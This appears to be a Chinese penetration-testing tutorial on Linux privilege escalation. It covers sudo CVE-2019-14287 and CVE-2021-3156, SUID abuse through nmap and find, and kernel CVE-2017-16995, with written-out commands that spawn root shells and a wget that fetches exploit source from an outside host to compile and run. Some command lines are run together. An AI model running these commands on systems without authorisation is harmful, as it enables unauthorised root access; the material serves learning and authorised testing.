常规linux提权方式简述
发布时间:
2021-11-21 14:13
在渗透测试中以获取较高的权限为目标,当拿到的shell是低权用户时就需要进行提权操作,提权时可以利用软件漏洞、配置不当以及内核漏洞。本次对应这三个方面分别介绍下sudo提权、suid提权以及CVE-2017-16995(内核漏洞提权)。
1.sudo提权
sudo简介
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如docker *,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。简单介绍下sudo的特性:
• sudo能够限制用户只在某台主机上运行某些命令。
• sudo提供了丰富的日志,详细地记录了每个用户干了什么。
• 当用户调用sudo并且输入它的密码时,用户获得了五分钟使用其他身份的能力
• sudo的配置文件是sudoers文件,默认位置为/etc/sudoers,属性必须为0440。
sudoers配置文件:授权用户/组 主机=[切换到哪些用户或组] [是否需要输入密码验证] 命令1,命令2
在linux中关于sudo目前涉及到两个漏洞均可以进行提权。一个是CVE-2019-14287,一个是CVE-2021-3156。
CVE-2019-14287
简介
该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令,需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。此漏洞中sudo 将用户 ID 转换为用户名的函数会将 -1(或无效等效的 4294967295)误认为是 0,而这正好是 root 用户 User ID
受影响的版本
Sudo版本 < 1.8.28
环境搭建:
CentOS Linux release 7.0.1406
sudo版本:1.8.21p2

漏洞利用
1、首先创建一个新用户test,此时的test直接执行sudo失败,显示不在sudoers文件中。
2、root用户写入之前认为安全的配置文件test ALL= (ALL, !root) ALL,该配置意为:test用户可以使用除root身份以外的身份运行命令。

3、此时切换test用户,直接运行sudo vi 发现

4、使用sudo -u#-1 vi或sudo -u#4294967295 vi发现成功,可以打开passwd、shadow等文件


受影响版本
sudo: 1.8.2 - 1.8.31p2sudo: 1.9.0 - 1.9.5p1 (默认配置)
环境搭建
ubtutu 18.04 sudo 1.8.21p2

漏洞利用
1、首先查看是否存在该漏洞,命令行输入sudoedit -s /,如果响应一个以sudoedit:开头的报错,那么表明存在漏洞;如果响应一个以usage:开头的报错,那么表明补丁已经生效。

2、利用exp进行提权。

2.suid提权
简介
当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。例如ping
漏洞利用
1、首先通过以下命令在主机上寻找符合提权条件的程序:一般都有:一般有以下 :nmap vim find bash more less
find / -perm -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -print 2>/dev/null

2、找到后,可以利用其提权。例如:
nmap
nmap --interactive!sh
find
find . -type f -exec /bin/bash \;

3.内核漏洞
简介
CVE-2017-16995:Ubuntu16.04存在提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 攻击者可以利用该漏洞进行提权攻击,获取root权限,危害极大。
漏洞环境
Ubuntu版本:16.04.01~ 16.04.04
Linux内核:Linux Kernel Version 4.4 ~ 4.14
漏洞利用
1、在expdb中找到对应的exp,并且安装编译环境
wget http://cyseclabs.com/pub/upstream44.c
2、编译exp
gcc -o exp upstream44.c
3、运行exp
./exp
此时可以看到shell已经切换到root

结语
以上就是本次介绍的几种linux提权方法,演练中拿到低权用户shell时,查看系统版本、内核信息、软件版本,当符合条件时可以使用对应的方法来进行权限提升。
往期推荐





